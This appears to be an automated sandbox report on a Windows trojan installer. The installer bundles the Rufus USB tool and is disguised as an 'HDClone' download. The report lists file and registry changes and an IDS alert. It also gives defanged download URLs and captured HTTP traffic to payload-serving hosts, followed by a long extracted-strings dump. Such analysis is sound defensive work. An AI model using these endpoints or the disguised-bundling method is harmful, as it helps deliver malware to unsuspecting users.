MD5: bb77f0affaa5c3055369cacfdb9e73d1
SHA1: 5ccb04f94b5fa8dba7f67c8871b57d2c3bd37689
SHA256: ea4ff52310d35b2a1902149b388e937431e30bd91a239d42e2df1ffdcec5aa9e
SSDeep: 24576:kbOZICj9YJyWdy5K cTvG2JD1pM7bvQOp:gOZBjEyWduK GHJ5pM7sO
Size: 998954 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: StdLib
Created at: 2009-12-06 00:50:52
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

setup.exe:1948
%original file name%.exe:2624

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process setup.exe:1948 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Windows\System32\GroupPolicy\gpt.ini (261 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini~ (55 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Ruf5495.tmp (882 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini (55 bytes)
C:\Windows\System32\GroupPolicy\Machine\Registry.pol (376 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\rufus.ini~ (0 bytes)

The process %original file name%.exe:2624 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8D93UTC3\launch_reb[1].htm (166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B (16304 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsy1D02.tmp (0 bytes)

Registry activity

The process setup.exe:1948 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDriveTypeAutoRun" = "158"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}User]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine]
[HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\{3934F55C-95DE-4994-BC88-44E0A74D2B8A}Machine\Software\Microsoft\Windows\CurrentVersion]

The process %original file name%.exe:2624 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3E 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\bb77f0affaa5c3055369cacfdb9e73d1_RASAPI32]
"EnableConsoleTracing" = "0"
"ConsoleTracingMask" = "4294901760"

"MaxFileSize" = "1048576"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
8c78b2199b7c528151d96f4d20cab2d2

URLs

URL	IP
hxxp://get.erattempth.club/launch_reb.php?p=sevenzip&tid=13810760&pid=536&n=SERDbG9uZSA2LjAuNSBFbnRlcnByaXNlIEVkaXRpb24gUG9ydGFibGUgKyBCb290IEltYWdl&b_typ=pe	46.21.100.248
dns.msftncsi.com	131.107.255.255
get.ercationiv.club	52.222.174.68

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers

Traffic

GET /launch_reb.php?p=sevenzip&tid=13810760&pid=536&n=SERDbG9uZSA2LjAuNSBFbnRlcnByaXNlIEVkaXRpb24gUG9ydGFibGUgKyBCb290IEltYWdl&b_typ=pe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: get.erattempth.club

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Mon, 10 Jul 2017 00:02:47 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 166

Connection: close

Content-Type: text/html; charset=UTF-8
s=cheat..u=hXXp://gold.bellverse.bid/stub_maker.php?program=sevenzip&t
id=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Editi
on Portable + Boot Image..

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe

ip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B->C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe

zip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\B

etc.dll

hXXp://VVV.usertrust.com1

OLG.QNJ

<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">

</asmv3:windowsSettings>

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

<!-- If you don't have those in your app, Windows 10's GetVersionEx() -->

<!-- DELIBERATELY reports the WRONG version... which brings us to -->

<!-- Windows 10 -->

<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>

<!-- Windows 8.1 -->

<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>

<!-- Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

<!-- Windows 7 -->

<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>

<!-- Windows Vista -->

<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>

KERNEL32.DLL

COMDLG32.DLL

CRYPT32.dll

msvcrt.dll

SETUPAPI.dll

SHLWAPI.dll

WININET.DLL

WINTRUST.dll

CryptMsgClose

3hXXp://crl.usertrust.com/AddTrustExternalCARoot.crl05

hXXp://ocsp.usertrust.com0

1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl0t

1hXXp://crt.usertrust.com/UTNAddTrustObject_CA.crt0%

hXXps://secure.comodo.net/CPS0A

0hXXp://crl.comodoca.com/COMODOCodeSigningCA2.crl0r

0hXXp://crt.comodoca.com/COMODOCodeSigningCA2.crt0$

hXXp://ocsp.comodoca.com0

support@akeo.ie0

1hXXp://crl.usertrust.com/UTN-USERFirst-Object.crl05

hXXps://secure.comodo.net/CPS0F

5hXXp://crl.comodoca.com/COMODOSHA256CodeSigningCA.crl0w

5hXXp://crt.comodoca.com/COMODOSHA256CodeSigningCA.crt0$

9!9-9B9}9

.reloc

System.dll

callback%d

st.com1

@.reloc

u.Uj@

MSVCRT.dll

HttpSendRequestA

HttpSendRequestExA

HttpQueryInfoA

FtpCreateDirectoryA

FtpOpenFileA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpEndRequestA

InternetCrackUrlA

WININET.dll

inetc.dll

Open URL Error

URL Parts Error

FtpCreateDir failed (550)

Error FTP path (550)

Downloading %s

%dkB (%d%%) of %dkB @ %d.
dkB/s

(%d %s%s remaining)

REST %d

SIZE %s

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Proxy-authorization: basic %s

%s:%s

FtpCommandA

wininet.dll

%u MB

%u kB

%u bytes

%d:d:d

%s - %s

(Err=%d)

NSIS_Inetc (Mozilla)

Filename: %s

/password

Uploading %s

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp

nsn1D12.tmp

s\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\setup.exe

Clone 6.0.5 Enterprise Edition Portable + Boot Image

\"%CurrentUserName%"\AppData\Local\Temp\nsn1D12.tmp\AcLMoxtd4o

old.bellverse.bid/stub_maker.php?program=sevenzip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image

c:\%original file name%.exe

%original file name%.exe

ers\"%CurrentUserName%"\AppData\Local\Temp\nsy1D02.tmp

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\

201707100002

hXXp://gold.bellverse.bid/stub_maker.php?program=sevenzip&tid=13810760&pid=536&b_typ=pe&reb=1&name=HDClone 6.0.5 Enterprise Edition Portable + Boot Image

6667555@

MMMÌc

=:6'=:6!

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

Akeo Consulting (hXXp://akeo.ie)

2.8.886

hXXp://VVV.gnu.org/copyleft/gpl.html

rufus.exe

%original file name%.exe_2624_rwx_10004000_00001000:

callback%d

setup.exe_1948:

`.rsrc

UUUU%UUUU

?:\Windows\System32\sysprep\unattend.xml

00:00:00

*Windows 7 SP1 32 bit

Replace the disk, and then press any key

Press any key to reboot...

Press any key to restart

freeldr.sys not found

TCPAu$

TCPA

TCPAf

Error loading operating system

Missing operating system

TCPAu2

Press any key to boot from USB.

Missing operating system.

Operating system load error.

filesystem type "????????" not supported

libgcc_s_dw2-1.dll

libgcj-16.dll

%sInterrupting at block %I64u

%s%lu

Block %lu: %s error

%sError %d adding to in-memory bad block list

%sInvalid number of passes

%sError while allocating buffers

%sChecking from block %lu to %lu

%sUsing offset %d for fake device check

%sWriting test pattern 0xX

%sWeird value (%ld) in do_write

%sReading and comparing

%sWeird value (%ld) in do_read

%sError %d while creating in-memory bad blocks list

Failed to wait for event for checksum thread #%d: %s

Failed to set event for checksum thread #%d: %s

Computing checksum for '%s'...

Unable to create checksum thread event: %s

Unable to start checksum thread #%d

Could not open file: %s

Could not signal checksum thread %d: %s

Read error: %s

Checksum threads failed to signal: %s

Checksum threads did not finalize: %s

SHA256: %s

Unable to get system directory: %s

\diskcopy.dll

Unable to open %s: %s

MS-DOS disk image is too small (%d bytes)

FAT File %s would be out of bounds: %X, %X

%X, %X

COMMAND.COM

Patching COMMAND.COM...

IO.SYS

Patching IO.SYS...

Unable to create file '%s': %s.

Could not write file '%s': %s.

Could not set timestamps: %s

Successfully wrote '%s' (%d bytes)

C:\Windows\System32

KEYB COM

KEYBOARDSYS

KEYBRD2 SYS

KEYBRD3 SYS

KEYBRD4 SYS

KERNEL.SYS

DISPLAY.EXE

KEYB.EXE

MODE.COM

KEYBOARD.SYS

KEYBRD2.SYS

KEYBRD3.SYS

KEYBRD4.SYS

ega.cpx

ega2.cpx

ega3.cpx

ega4.cpx

ega5.cpx

ega6.cpx

ega7.cpx

ega8.cpx

ega9.cpx

ega10.cpx

ega11.cpx

ega12.cpx

ega13.cpx

ega14.cpx

ega15.cpx

ega16.cpx

ega17.cpx

ega18.cpx

Someone missed a keyboard!

ega.cpi

ega2.cpi

device=\locale\display.sys con=(ega,,1)

ega3.cpi

Could not scan keyboard layout name - falling back to US as default

Windows KBID 0xx

Unable to match KBID, trying LangID 0xx

Will use DOS keyboard '%s' [%s]

Will use codepage %d [%s]

\AUTOEXEC.BAT

Unable to create 'AUTOEXEC.BAT': %s.

echo Using %s keyboard with %s codepage [%d]

Successfully wrote 'AUTOEXEC.BAT'

\CONFIG.SYS

Unable to create 'CONFIG.SYS': %s.

%s1%c Use %s keyboard with %s codepage [%d]

%s2%c Use %s keyboard with %s codepage [%d]

Successfully wrote 'CONFIG.SYS'

GOTO %%CONFIG%%

mode con codepage prepare=((%d) \locale\%s) > NUL

mode con codepage select=%d > NUL

keyb %s,,\locale\%s

Unable to find an EGA file with codepage %d [%s]

Keyboard id '%s' is not supported - falling back to 'us'

Portuguese

Czech Kamenicky

Czech Kamenicky (Alt)

keyboard.sys

keybrd2.sys

keybrd3.sys

keybrd4.sys

Could not open drive %s: %s

Opened drive %s for write access

Could not get exclusive access to device %s: %s

\\.\MountPointManager

\\.\PHYSICALDRIVE%d

Could not access first GUID volume: %s

Could not access next GUID volume: %s

'%s' is not a GUID volume name

Failed to get device path for GUID volume '%s': %s

Skipping GUID volume for '%s'

Could not open GUID volume '%s': %s

Could not get Disk Extents: %s

Could not get device number for device %s: %s

Ignoring drive '%s' as it spans multiple disks (RAID?)

Device Number for device %s is too big (%d) - ignoring device

GetLogicalDriveStrings failed: %s

GetLogicalDriveStrings: Buffer too small (required %d vs. %d)

\\.\%c:

\\.\#:

Ignoring autorun.inf label for drive %c: %s

Using autorun.inf label for drive %c: '%s'

#:\autorun.inf

%s does not have an x86 %s

%s has a %s %s

%s has an unknown %s

Volume does not have an x86 %s

Drive has a %s %s

Volume has an unknown FAT16 or FAT32 %s

Volume has an unknown %s

Could not unmount drive: %s

Volume is already mounted, but as %c: instead of %c: - Unmounting...

Failed to unmount volume: %s

%s already mounted, but volume GUID could not be checked: %s

%s already mounted, but volume GUID doesn't match:

expected %s, got %s

%s was already mounted as %s

Could not get the DOS volume name for '%s': %s

Could not get the DOS device list: %s

Could not find partition mapping for %s

Could not find the DOS volume name for partition '%s': %s

Could not mount '%s' to '%s': %s

Successfully mounted '%s' (USB partition %d) as '%s'

Could not unmount '%s': %s

Successfully unmounted '%s'

Failed to open %c: for flushing: %s

Failed to flush %c: %s

Successfully remounted %s on %s

Failed to remount %s on %s

Could not remount %s %s

Could not refresh drive layout: %s

uefi-ntfs.img

Could not zero MSR: %s

Reserved %I64i tracks (%s) for extra partition

Unsupported file system

Could not access uefi-ntfs.img

Write error: %s

Could not reset disk: %s

Could not set drive layout: %s

Could not delete drive layout: %s

No volume information for drive 0xx

Could not get geometry for drive 0xx: %s

Warning: Drive 0xx reports a sector size of %d - Correcting to 512 bytes.

Disk type: %s, Sector Size: %d bytes

Cylinders: %I64i, TracksPerCylinder: %d, SectorsPerTrack: %d

Could not get layout for drive 0xx: %s

Partition type: MBR, NB Partitions: %d

Disk ID: 0xX %s

Partition %d%s:

Type: %s (0xx)

Size: %s (%I64i bytes)

Start Sector: %d, Boot: %s, Recognized: %s

Partition type: GPT, NB Partitions: %d

Disk GUID: %s

Max parts: %d, Start Offset: %I64i, Usable = %I64i bytes

Partition %d:

Type: %s

Name: '%s'

ID: %s

Windows 95B/98/98SE/ME

Windows 2000/XP/2003

Windows Vista

Windows 7

Windows Mobile XIP

Windows Mobile IMGFS

Windows Hibernation

Closed Windows format prompt

Microsoft Windows

Unsupported cluster size

Volume is too %s

FormatExCallback: Received unhandled command 0x02%X - aborting

ChkdskExCallback: received unhandled command %X

Erasing %d sectors

read error: %s

write error: Wrote %d bytes, expected %d bytes

write error: %s

FAT label is mostly underscores. Using '%s' label instead.

Using %s %s partition boot record

FAT16 is not supported for KolibriOS

New volume does not have a %s FAT32 boot sector - aborting

Confirmed new volume has a %s FAT32 boot sector

Setting %s FAT32 boot sector for boot...

Unsupported FS for FS BR processing - aborting

IOCTL_DISK_GET_DRIVE_GEOMETRY error: %s

IOCTL_DISK_GET_PARTITION_INFO error: %s

This drive is too big for FAT32 - max 2TB supported

Size : %s %u sectors

Cluster size %d bytes, %d Bytes Per Sector

Volume ID is %x:%x

%d Reserved Sectors, %d Sectors per FAT, %d FATs

%d Total clusters

%d Free Clusters

Clearing out %d sectors for reserved sectors, FATs and root cluster...

FAT #%d sector at address: %d

Could not set label: %s

Will use '%c:' as volume mountpoint

Failed to delete mountpoint %s: %s

\rufus_ddd_ddd.log

Rufus bad blocks check started on: d.d.d d:d:d

Bad Blocks: Check completed, %d bad block%s found. (%d/%d/%d errors)

Rufus bad blocks check ended on: d.d.d d:d:d

Could not open image '%s': %s

Remounted %s on %s

Could not close volume: %s

Unable to locate %s() in %s.dll: %s

Using cluster size: %d bytes

%s format was selected

Could not enable NTFS compression: %s

Format error: %s

Warning: converting a non FAT16 partition to FAT16 LBA: FS type=0xx

Warning: converting a non FAT32 partition to FAT32 LBA: FS type=0xx

Set bootable USB partition as 0xX

Using %s MBR

Failed to notify system about disk properties update: %s

grldr.mbr

grldr.mbr is either not present or too small

core.img

Could not access core.img

Found volume GUID %s

Could not remount %s on %s: %s

Spock gone crazy error in %s:%d

Installing: %s (Grub4DOS loader)

rufus_files\grub4dos-0.4.6a\grldr

Failed to copy file: %s

Windows To Go mode selected

Could not mount ISO for Windows To Go installation

Mounted ISO as '%s'

Failed to apply Windows To Go image

Formatting EFI system partition %s

%s\bcdboot.exe %s\Windows /v /f ALL /s %s

Failed to enable boot using command '%s'

Copying 'unattend.xml', to disable the use of the Windows Recovery Environment...

unattend.xml

Could not write '%s'

Installing: %s (KolibriOS loader)

Could not create directory '%s': %s

Windows\Boot\EFI\bootmgfw.efi

\minint\txtsetup.sif

\i386\txtsetup.sif

SetupSourceDevice = "\device\harddisk%d\partition1"

%c:\%s\ntdetect.com

%c:\ntdetect.com

%c:\%s\txtsetup.sif

%c:\txtsetup.sif

Did not copy %s as %s: %s

Failed to add SetupSourceDevice in %s

Successfully added '%s' to %s

%c:\%s\setupldr.bin

%c:\BOOTMGR

Could not open %s for patching: %s

Could not get size for file %s: %s

Could not read file %s: %s

Patching file %s

0xX: '%s' -> '%s'

0xX: '%s' -> 'rdisk(%c)'

0xX: '%s' -> '%s%s'

Could not write patched file: %s

Re-mounted volume as '%c:' after error

?:\efi\boot\bootx64.efi

Saving to image '%s'...

B%sautorun.inf

%s already exists - keeping it

Unable to create %s

NOTE: This may be caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.

Created: %s

Unable to create icon '%s': %s.

Could not write icon header: %s.

Could not write ICONDIRENTRY[%d]: %s.

Could not write ICONDIRENTRY[%d] offset: %s.

Could not write icon data #%d: %s.

libcdio: %s

grub.cfg

bootmgr.efi

kolibri.img

setupldr.sys

install.wim

?:\%s\%s

install.swm

ldlinux.sys

Extracting: %s

Patched %s: '%s'

isolinux.cfg

Duplicated %s to %s

cd9660:/dev/iso9660/%s

msdosfs:/dev/msdosfs/%s

Could not set timestamp for directory '%s': %s

%s%s/%s

%s/syslinux-%s/%s

Could not replace file: %s

File name sanitized to '%s'

Unable to create file: %s

autorun.inf

NOTE: This is usually caused by a poorly designed security solution. See hXXp://rufus.akeo.ie/compatibility.

Error reading UDF file %s

Error writing file: %s

Could not set timestamp: %s

%s%s/

Could not access directory %s

Ignoring Rock Ridge symbolic link to '%s'

Error reading ISO9660 file %s at LSN %lu

GRUB version %s

Unable to create file %s: %s

Could not locate file %s in ISO image

Error reading UDF file %s

Error writing file %s: %s

Unable to open image '%s'.

Could not get ISO-9660 file information for file %s

Error reading ISO9660 file %s at LSN %lu

%sImage is an UDF image

%sCould not locate UDF root directory

%s'%s' doesn't look like an ISO image

%sImage is an ISO9660 image

%sThis image will be extracted using %s extensions (if present)

%sThis image will not be extracted using any ISO extensions

/boot/i386/loader/isolinux.cfg

/boot/x86_64/loader/isolinux.cfg

Will use '%s' for Syslinux

Could not access %s

Found conflicting %s versions:

'%s' (%d.d%s) vs '%s' (%d.d%s)

%d.d

Detected Syslinux version: %s%s (from '%s')

Warning: Could not detect Isolinux version - Forcing to %s (embedded)

/%s/txtsetup.sif

.\txtsetup.sif~

Checking txtsetup.sif:

OsLoadOptions = %s

boot/grub/i386-pc/normal.mod

Could not read Grub version from 'boot/grub/i386-pc/normal.mod'

Detected Grub version: %s

%s\syslinux.cfg

%s\syslinux.org

Renaming: %s

Unable to create %s - booting from USB will not work

CONFIG %s

APPEND %s/

Could not open ISO '%s': %s

Could not mount ISO '%s': %s

Could not obtain physical path for mounted ISO '%s': %s

ntdetect.com

setupldr.bin

txtsetup.sif

.\isolinux.bin

syslinux.cfg

extlinux.conf

bootia32.efi

bootx64.efi

bootia64.efi

bootarm.efi

localization: invalid MSG_ index

%s(%d): operation forbidden (main dialog title cannot be changed)

%s(%d): control '%s' is not part of dialog '%s'

MSG_d UNTRANSLATED

PrintStatusInfo: invalid MSG_ID

(default) MSG_d UNTRANSLATED

localization: could not find locale for LCID: 0xX. Will default to '%s'

localization: could not find locale for name '%s'. Will default to '%s'

%s(%d): only the [t]ext command can be applied to a message (MSG_###)

%s(%d): failed to convert the numeric value in '%'

%s(%d): unknown control '%s'

%s(%d): '%s' is not a group ID

localization: using locale base '%s'

%s(%d): locale base '%s' not found - ignoring

Will use default UI locale 0xX

Detected installed Windows Language Pack for 0xX (%s)

NOTE: No Windows Language Pack is installed for %s on this system.

IDC_NBPASSES

IDC_WINDOWS_INSTALL

IDC_WINDOWS_TO_GO

IDC_WEBSITE

IDC_DOWNLOAD_URL

MSG_000

MSG_001

MSG_002

MSG_003

MSG_004

MSG_005

MSG_006

MSG_007

MSG_008

MSG_009

MSG_010

MSG_011

MSG_012

MSG_013

MSG_014

MSG_015

MSG_016

MSG_017

MSG_018

MSG_019

MSG_020

MSG_021

MSG_022

MSG_023

MSG_024

MSG_025

MSG_026

MSG_027

MSG_028

MSG_029

MSG_030

MSG_031

MSG_032

MSG_033

MSG_034

MSG_035

MSG_036

MSG_037

MSG_038

MSG_039

MSG_040

MSG_041

MSG_042

MSG_043

MSG_044

MSG_045

MSG_046

MSG_047

MSG_048

MSG_049

MSG_050

MSG_051

MSG_052

MSG_053

MSG_054

MSG_055

MSG_056

MSG_057

MSG_058

MSG_059

MSG_060

MSG_061

MSG_062

MSG_063

MSG_064

MSG_065

MSG_066

MSG_067

MSG_068

MSG_069

MSG_070

MSG_071

MSG_072

MSG_073

MSG_074

MSG_075

MSG_076

MSG_077

MSG_078

MSG_079

MSG_080

MSG_081

MSG_082

MSG_083

MSG_084

MSG_085

MSG_086

MSG_087

MSG_088

MSG_089

MSG_090

MSG_091

MSG_092

MSG_093

MSG_094

MSG_095

MSG_096

MSG_097

MSG_098

MSG_099

MSG_100

MSG_101

MSG_102

MSG_103

MSG_104

MSG_105

MSG_106

MSG_107

MSG_108

MSG_109

MSG_110

MSG_111

MSG_112

MSG_113

MSG_114

MSG_115

MSG_116

MSG_117

MSG_118

MSG_119

MSG_120

MSG_121

MSG_122

MSG_123

MSG_124

MSG_125

MSG_126

MSG_127

MSG_128

MSG_129

MSG_130

MSG_131

MSG_132

MSG_133

MSG_134

MSG_135

MSG_136

MSG_137

MSG_138

MSG_139

MSG_140

MSG_141

MSG_142

MSG_143

MSG_144

MSG_145

MSG_146

MSG_147

MSG_148

MSG_149

MSG_150

MSG_151

MSG_152

MSG_153

MSG_154

MSG_155

MSG_156

MSG_157

MSG_158

MSG_159

MSG_160

MSG_161

MSG_162

MSG_163

MSG_164

MSG_165

MSG_166

MSG_167

MSG_168

MSG_169

MSG_170

MSG_171

MSG_172

MSG_173

MSG_174

MSG_175

MSG_176

MSG_177

MSG_178

MSG_179

MSG_180

MSG_181

MSG_182

MSG_183

MSG_184

MSG_185

MSG_186

MSG_187

MSG_188

MSG_189

MSG_190

MSG_191

MSG_192

MSG_193

MSG_194

MSG_195

MSG_196

MSG_197

MSG_198

MSG_199

MSG_200

MSG_201

MSG_202

MSG_203

MSG_204

MSG_205

MSG_206

MSG_207

MSG_208

MSG_209

MSG_210

MSG_211

MSG_212

MSG_213

MSG_214

MSG_215

MSG_216

MSG_217

MSG_218

MSG_219

MSG_220

MSG_221

MSG_222

MSG_223

MSG_224

MSG_225

MSG_226

MSG_227

MSG_228

MSG_229

MSG_230

MSG_231

MSG_232

MSG_233

MSG_234

MSG_235

MSG_236

MSG_237

MSG_238

MSG_239

MSG_240

MSG_241

MSG_242

MSG_243

MSG_244

MSG_245

MSG_246

MSG_247

MSG_248

MSG_249

MSG_250

MSG_251

MSG_252

MSG_253

MSG_254

MSG_255

MSG_256

MSG_257

MSG_258

MSG_259

MSG_260

MSG_261

MSG_262

MSG_263

MSG_264

MSG_265

MSG_266

MSG_267

MSG_268

MSG_269

MSG_270

MSG_271

MSG_272

MSG_273

MSG_274

MSG_275

MSG_276

MSG_277

MSG_278

MSG_279

MSG_280

MSG_281

MSG_282

MSG_283

MSG_284

MSG_285

MSG_286

MSG_287

MSG_288

MSG_289

MSG_MAX

embedded.loc

Could not read Windows version - Check for updates cancelled.

hXXp://rufus.akeo.ie/

Rufus/%d.%d.%d (Windows NT %d.%d%s)

Checking %s channel...

%s%s%s_%s_%d.%d.ver

Base update check: %s

Trying %s

Could not find a %s version file on server %s

Found match for %s on server %s

